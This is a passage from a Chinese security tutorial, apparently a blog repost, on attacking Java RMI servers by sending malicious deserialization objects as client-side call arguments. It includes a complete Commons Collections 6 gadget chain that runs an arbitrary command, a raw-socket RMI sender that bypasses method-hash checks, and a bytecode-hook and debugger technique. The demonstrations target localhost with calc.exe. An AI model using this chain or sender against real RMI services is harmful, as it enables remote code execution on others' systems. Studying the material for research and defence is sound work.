RMI攻击(三)
Client 端攻击 Server 端
Server 端反序列化 Client 端恶意参数
利用Server 端反序列化 Client 端恶意参数进行攻击需要满足以下两个条件:
1.知晓 Server 端远程接口及接口声明方法2.服务端存在反序列化利用链
由前面分析服务调用过程可知,当 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,若这个参数为 Object 类型,则Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。
(1)、Object 类型参数
若远程调用接口存在接收 Object 类型参数的方法 sayHello(Object name)
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
String sayHello(Object name) throws RemoteException;
}
则可以在 Client 端直接利用反序列化链进行攻击。
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry();
IHello hello = (IHello) registry.lookup("hello");
String bai = hello.sayHello(getEvilClass());
System.out.println(bai);
}
public static Object getEvilClass(){
try {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
return expMap;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
故若 Server 端远程调用接口存在接收 Object 类型参数的方法,则 Clietn 端可直接利用反序列化链进行攻击 Server 端。
此处调用UnicastServerRef#dispatch()
方法,最终调用至UnicastServerRef#unmarshalValue()
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
此处非基础类的参数接口均会执行readObject()
存在反序列化漏洞(此处Integer.TYPE
为int
,Integer
仍会执行readObject()
,其他基础类相同)。8u242后String
不再调用readObject()
(2)、非 Object 类型参数
上述已分析若 Server 端远程调用接口存在接收 Object 类型参数的方法,则可进行攻击;若远程调用接口不存在接收 Object 类型参数需如何进行攻击? 正常情况下 Server 端和 Clietn 端的远程调用接口是相同的,若调用方法不一致将报错 unrecognized method hash: method not supported by remote object
。进行测试,Server 端远程接口如下:
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
String sayHello(Object name) throws RemoteException;
String diffentMethod(String name) throws RemoteException;
}
Client 端添加方法,但参数改为 Object 类型
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
String sayHello(Object name) throws RemoteException;
String diffentMethod(Object name) throws RemoteException;
}
Client 端进行调用
Registry registry = LocateRegistry.getRegistry();
IHello hello = (IHello) registry.lookup("hello");
String bai = hello.diffentMethod(getEvilClass());
System.out.println(bai);
Server 端报错,在UnicastServerRef#dispatch()
方法中Method method = hashToMethod_Map.get(op);
此行报错,之前分析过此行代码逻辑为在 Server 端保存的 hashToMethod_Map 中查找 Client 端 使用的 Method 的 hash 来查找,这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。 存在以下4 种方法可绕过 Method hash 的校验([参考链接](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf)),即 Server 端查找到 diffentMethod(String name) 方法的 hash,但接收的参数仍为 Object 类型的恶意的反序列化数据:
•通过网络代理,在流量层修改数据•自定义 “sun.rmi” 包的代码,自行实现•字节码修改•使用 debugger
①、通过网络代理,在流量层修改数据
Server 端 Client 端远程接口如下:
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
}
此处直接通过 Socket 模拟 RMI 发包进行反序列化攻击 需引入https://github.com/qtc-de/remote-method-guesser 代码 ClientPoc
import de.qtc.rmg.internal.MethodCandidate;
import de.qtc.rmg.internal.RMGOption;
import de.qtc.rmg.networking.RMIEndpoint;
import de.qtc.rmg.networking.RMIRegistryEndpoint;
import de.qtc.rmg.plugin.PluginSystem;
import de.qtc.rmg.utils.ActivatableWrapper;
import de.qtc.rmg.utils.RemoteObjectWrapper;
import de.qtc.rmg.utils.UnicastWrapper;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtPrimitiveType;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.Socket;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMISocketFactory;
public class ClientPoc {
public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
Socket socket = SocketFactory.getDefault().createSocket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
DataOutputStream dos = null;
try {
OutputStream os = socket.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objid.write(objOut); //Objid
objOut.writeInt(opNum); // opnum
objOut.writeLong(hash); // hash
for (Object object: objects) {
objOut.writeObject(object);
}
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (socket != null) {
socket.close();
}
}
}
public static void main(String[] args) {
try {
//获取 Register 端
PluginSystem.init(null);
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("127.0.0.1", 1099);
//lookup() 获取远程对象
rmiRegistry.lookup("hello");
UnicastWrapper remoteObject = rmiRegistry.lookup("hello").getUnicastWrapper();
Object payloadObj = CC6.getPayloadObject("calc.exe");
//获取目标方法
CtClass iHelloctClass = ClassPool.getDefault().get("org.baigei.IHello");
CtClass stringCtClass = ClassPool.getDefault().get("java.lang.String");
CtClass[] params = {stringCtClass};
CtMethod sayHello = iHelloctClass.getDeclaredMethod("sayHello",params);
MethodCandidate methodCandidate = new MethodCandidate(sayHello);
Long methodHash = methodCandidate.getHash();
System.out.println(remoteObject.getHost() + " : " + remoteObject.getPort());
sendRawCall(remoteObject.getHost(),remoteObject.getPort(),remoteObject.objID,-1,methodHash,payloadObj);
}catch (Throwable t){
t.printStackTrace();
}
}
}
CC6
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static Object getPayloadObject(String cmd){
try {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{cmd}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
return expMap;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
② 、复制"sun.rmi"包的代码,修改其中代码
此方法实现较为负责,此处不再进行测试
③ 、字节码修改
参考文章:https://www.anquanke.com/post/id/200860 下载https://github.com/Afant1/RemoteObjectInvocationHandler 修改URLDNSLOG为CC6
public static class RemoteObjectInvocationHandlerHookVisitorAdapter extends AdviceAdapter {
public RemoteObjectInvocationHandlerHookVisitorAdapter(MethodVisitor mv, int access, String name, String desc) {
super(Opcodes.ASM5, mv, access, name, desc);
}
protected void onMethodEnter(){
mv.visitVarInsn(ALOAD, 3);
mv.visitInsn(ICONST_0);
// mv.visitLdcInsn("http://ctvi8v.dnslog.cn");
// mv.visitMethodInsn(INVOKESTATIC, "afanti/rasp/util/URLDNS", "getObject", "(Ljava/lang/String;)Ljava/lang/Object;", false);
mv.visitLdcInsn("calc");
mv.visitMethodInsn(INVOKESTATIC,"afanti/rasp/util/CC6","getPayloadObject","(Ljava/lang/String;)Ljava/lang/Object;",false);
//调用方法
mv.visitInsn(AASTORE);
}
}
Client 端添加VM参数 -javaagent:D:RemoteObjectInvocationHandlertargetrasp-1.0-SNAPSHOT.jar
反序列化攻击成功
④、使用 debugger 替换对象
Client 端添加一个服务端不存在的方法String sayHello(Object name)
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
String sayHello(Object name) throws RemoteException;
}
添加恶意类
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IHello remoteInterface = (IHello) registry.lookup("hello");
Object object = remoteInterface.sayHello(CC6.getPayload("calc"));
System.out.println(object);
}
Client 端在RemoteObjectInvocationHandler#invokeRemoteMethod(Object proxy,Method method,Object[] args)
方法中return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
行打断点,修改 method 为 Server 端远程接口存在的方法。此方法底层仍为字节码修改
如您有问题、建议、需求、合作、加群交流请后台留言或添加微信
原文始发于微信公众号(白给信安):RMI攻击(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论